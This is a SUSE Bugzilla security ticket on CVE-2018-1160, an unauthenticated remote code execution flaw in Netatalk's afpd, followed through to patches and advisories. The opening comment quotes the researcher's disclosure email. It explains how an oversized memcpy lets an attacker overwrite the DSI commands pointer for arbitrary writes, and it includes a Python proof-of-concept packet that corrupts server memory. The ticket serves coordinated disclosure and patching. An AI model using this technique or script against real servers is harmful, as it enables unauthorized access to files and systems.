Bugzilla – Bug 1119540
VUL-0: CVE-2018-1160: netatalk: Unauthenticated remote code execution in Netatalk
Last modified: 2019-03-22 15:56:47 UTC
This bug is tracked via https://bugzilla.samba.org/show_bug.cgi?id=13711 AFAICT we ship Netatalk via the SLES12 SDK and openSUSE. Release is planned for Thursday 20th of December 2018. Original mail from Jacob Baines <jbaines@tenable.com> Hey Ralph, From my point of view it is pretty serious. I'm able to achieve unauthenticated remote code execution on the latest version of Netatalk (and older versions as well but I haven't tracked it all the way back yet). As far as the CVE dance goes, Tenable (my employer) is a CNA so I can assign the CVE and provide MITRE the appropriate data. Let me describe the bug first though. As I'm sure you know, one of the first unauthenticated requests sent to Netatalk's afpd is the OPEN SESSION request which is handled by dsi_opensess.c. The bug lies is the following for loop (lines 30-42): /* parse options */ while (i < dsi->cmdlen) { switch (dsi->commands[i++]) { case DSIOPT_ATTNQUANT: memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]); dsi->attn_quantum = ntohl(dsi->attn_quantum); case DSIOPT_SERVQUANT: /* just ignore these */ default: i += dsi->commands[i] + 1; /* forward past length tag + length */ break; } } In particular, the memcpy trusts dsi->commands[i] to specify a size that fits into dsi->attn_quantum. However, when we look up the sizeof attn_quantum in dsi.h we find that its only a 32-bit int (four bytes). A malicious client can send a dsi->command[i] larger than 4 bytes to begin overwriting variables in the dsi struct. Now obviously, dsi->command[i] is a single char in a char array which limits the amount of data the attacker can overwrite in the dsi struct to 0xff. So for this to be useful in an attack there needs to be something within the 0xff bytes that follow attn_quantum. From dsi.h: uint32_t attn_quantum, datasize, server_quantum; uint16_t serverID, clientID; uint8_t *commands; /* DSI recieve buffer */ uint8_t data[DSI_DATASIZ]; /* DSI reply buffer */ Of particular interest to me is the commands pointer. This is a heap allocated pointer that is reused for every packet received (and sent?). Using the memcpy, an attacker can overwrite this point with the address of their choice and then all subsequent AFP packets will be written to that location. This is more or less all an attacker needs to achieve remote code execution (write whatever/wherever). I generally like to prove RCE if I'm able to. So my question was, what could I do to take over execution flow? The simple answer is to write into the preauth_switch and then use the protocol to invoke the function of my choice. I have a Seagate NAS that uses Netatalk's afp implementation. I'm able to read/write/delete files off of the NAS via Netatalk's afpd without authentication using this technique. However, there is some good news. I cannot successfully exploit this vulnerability using Ubuntu's netatalk package. The reason being that they've compiled netatalk's afpd with -fPIE. Since I don't know any addresses ahead of time (due to ASLR) I can't easily exploit afpd as a remote attacker. Although there is a chance that someone who is actually good at exploit development could get around that (or maybe find a pointer leak somewhere). So to summarize, Netatalk's afpd is vulnerable to unauthenticated remote code execution due to a bad memcpy in dsi_opensess.c. The vulnerability allows an attacker to write whatever wherever. I have a very rough RCE PoC written against a Seagate NAS that uses Netatalk's afpd if that is useful (I can also provide pcaps). But perhaps the following is enough. Below is a python script that will overwrite the server_quantum field with 0xdeadbeef. As you probably know, the server responds to the client's open session request with the server_quantum so you'll be to see that we actually overwrote the server_quantum value by looking at the server response (look via wireshark or whatever - the script itself doesn't parse the response). import socket import sys def print_usage(): print "Usage: python " + sys.argv[0] + " <ip> <port>" sys.exit(0) if len(sys.argv) != 3: print_usage() ip = sys.argv[1] try: port = int(sys.argv[2]) except: print "Invalid port number." print_usage() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "[+] Attempting connection to " + ip + ":" + sys.argv[2] sock.connect((ip, port)) print "[+] Connected!" data = '\x00\x04\x00\x01\x00\x00\x00\x00' data += '\x00\x00\x00\x12\x00\x00\x00\x00' data += '\x01' # attnquant in open sess data += '\x10' # attnquant size data += '\xaa\xbb\xcc\xdd' # overwrites attn_quantum (on purpose) data += '\x00\x00\x00\x00' # overwrites datasize data += '\xef\xbe\xad\xde' # overwrites server_quantum data += '\xfa\xce\xfe\xed' # overwrites the server id and client id sock.sendall(data) try: resp = sock.recv(1024) print "Response: '" + resp + "'" except: print "[-] Oh no! We didn't receive a response." As far as a patch goes, I initially assumed the memcpy was intended to have a sizeof(dsi->attn_quantum). However, I'm less sure now. The memcpy *implies* that 4 bytes are expected but perhaps that is the mistake? As the protocol isn't well documented, maybe only 1 byte can be specified? In which case the memcpy is inappropriate. You would know better than I. At most this feels like a 3 line change to me though. Finally, I need to inform you that my employer, Tenable, follows a 90-day vulnerability disclosure policy. That means, even though we prefer coordinated disclosure, we'll issue an advisory on January 28th with or without a patch. You can read the full details of our policy here: https://static.tenable.com/research/tenable-vulnerability-disclosure-policy.pdf Also, as I said, I can easily assign a CVE and contact MITRE if needed. I'm unsure how you coordinate fixes/releases with downstream consumers though. Thank you for taking the time to read this. If this isn't remotely clear or whatever then I'm more than happy to flesh out the details We'd greatly appreciate it if you'd acknowledge receipt of this report. If you have any questions we'd be happy to address them.
Just run the daemon: $ /usr/sbin/netatalk or $ rcnetatalk start test.py: see comment 0 $ python test.py localhost 548 | hexdump -C | grep 'ad be' 00000050 0c 00 00 00 00 00 04 de ad be ef 02 04 00 00 00 |................| $
Similar symptom for 42.3, 12 and 11sp2. 10sp2 has the same version as 11sp2.
The code snippets specified in comment 0 are also everywhere.
All 42.3,12,11sp2,10sp2/netatalk are built with -fpie flag. It is in 42.3,12 specified in CLFAGS inside spec file, by patch in 11sp2,10sp2; welcome to review build process.
Is there a fix available?
Created attachment 792933 [details] Embargoed patch for master
Created attachment 792934 [details] Embargoed patch for 3.1
(In reply to Petr Gajdos from comment #5) > Is there a fix available? I've attached the patches here. If you'd like access to the upstream bug, create a bugzilla.samba.org account with a SUSE address and I'll add you to the cc list.
AFTER $ python test.py localhost 548 | hexdump -C | grep 'ad be' $ In the log (set e. g. log file = /var/log/afp.log in /etc/netatalk/afp.conf): Dec 18 13:11:39.560800 afpd[27282] {dsi_opensess.c:49} (error:DSI): option 1 bad length: 1 Differences for 11sp2: - start netatalk with rcatalk start - log can not be set (--without-logfile), the log is written to syslog
CRD: 2018-12-20 Please submit
(In reply to David Disseldorp from comment #8) > (In reply to Petr Gajdos from comment #5) > > Is there a fix available? > > I've attached the patches here. If you'd like access to the upstream bug, > create a bugzilla.samba.org account with a SUSE address and I'll add you to > the cc list. Thanks David. I maintain many packages, so I try to keep subscriptions low as possible. Let us see whether this bug will be an exception, or whether horde of netatalk security bugs crops up. I will just have two simple questions, if you can help: 1. Is there a CVE assigned already, if yes, could you please add it here? 2. From my former comments, it seems that 2.0 is affected too. Is there any information that would confirm/disprove this assumption?
(In reply to Marcus Meissner from comment #10) > CRD: 2018-12-20 > > > Please submit You certainly see that I am working on it. It appears I am perhaps actually finished. I have two questions: A. See question 1 from comment 11: Is a CVE assigned to this issue? B. How to set up IBS/OBS project correctly? Packages will be submitted to and submitted from IBS/home:pgajdos:maintenance:netatalk and OBS/home:pgajdos:maintenance:netatalk respectively.
(In reply to Petr Gajdos from comment #11) ... > Thanks David. I maintain many packages, so I try to keep subscriptions low > as possible. Let us see whether this bug will be an exception, or whether > horde of netatalk security bugs crops up. Understood. > I will just have two simple questions, if you can help: > 1. Is there a CVE assigned already, if yes, could you please add it here? Yes, CVE-2018-1160. > 2. From my former comments, it seems that 2.0 is affected too. Is there any > information that would confirm/disprove this assumption? The CVE Advisory (I'll attach) mentions "Versions: Any version Netatalk 2 and newer".
Created attachment 792950 [details] proposed CVE Advisory text
Thanks David!
Marcus: am I right that I can check in patches into IBS without any special setting to IBS/home:pgajdos:maintenance:netatalk and I cannot submit to OBS/ome:pgajdos:maintenance:netatalk anyhow before CRD?
I gathered the info from Vita. Packages submitted now against: 12, 11sp2 and 10sp3. TODO: 42.3 on Thursday
(In reply to David Disseldorp from comment #13) > The CVE Advisory (I'll attach) mentions "Versions: Any version Netatalk 2 > and newer". David: Last question to be sure: upstream had not provided patch for 2.x, correct?
IBS - no special settings neeed, just regular maintenance branch. OBS - please do not yet checkin there
(In reply to Petr Gajdos from comment #18) > (In reply to David Disseldorp from comment #13) > > The CVE Advisory (I'll attach) mentions "Versions: Any version Netatalk 2 > > and newer". > > David: Last question to be sure: upstream had not provided patch for 2.x, > correct? Correct. If you'd like to ask for one, I'd recommend asking Ralph in the upstream ticket or via mail.
David, I had requested the account. It seems it is not automated process, so let's see when I get the access. Anyway, thank you for the proxy.
An update workflow for this issue was started. This issue was rated as critical. Please submit fixed packages until 2018-12-21. When done, reassign the bug to security-team@suse.de. https://swamp.suse.de/webswamp/wf/64195
Upstream provided the patch for 2.x, unfortunately this is much closer to code in 3.x than to 2.0.3 we maintain, as far as I can see. Package 42.3/netatalk submitted. I believe all fixed.
This is an autogenerated message for OBS integration: This bug (1119540) was mentioned in https://build.opensuse.org/request/show/660288 42.3 / netatalk
upstream bug is public: https://bugzilla.samba.org/show_bug.cgi?id=13711
SUSE-SU-2018:4214-1: An update that fixes one vulnerability is now available. Category: security (important) Bug References: 1119540 CVE References: CVE-2018-1160 Sources used: SUSE Linux Enterprise Software Development Kit 11-SP4 (src): netatalk-2.0.3-249.23.3.1 SUSE Linux Enterprise Debuginfo 11-SP4 (src): netatalk-2.0.3-249.23.3.1
SUSE-SU-2018:4217-1: An update that fixes one vulnerability is now available. Category: security (important) Bug References: 1119540 CVE References: CVE-2018-1160 Sources used: SUSE Linux Enterprise Workstation Extension 12-SP4 (src): netatalk-3.1.0-3.3.1 SUSE Linux Enterprise Workstation Extension 12-SP3 (src): netatalk-3.1.0-3.3.1 SUSE Linux Enterprise Software Development Kit 12-SP4 (src): netatalk-3.1.0-3.3.1 SUSE Linux Enterprise Software Development Kit 12-SP3 (src): netatalk-3.1.0-3.3.1 SUSE Linux Enterprise Desktop 12-SP4 (src): netatalk-3.1.0-3.3.1 SUSE Linux Enterprise Desktop 12-SP3 (src): netatalk-3.1.0-3.3.1
openSUSE-SU-2018:4287-1: An update that fixes one vulnerability is now available. Category: security (important) Bug References: 1119540 CVE References: CVE-2018-1160 Sources used: openSUSE Leap 42.3 (src): netatalk-3.1.7-8.3.1
done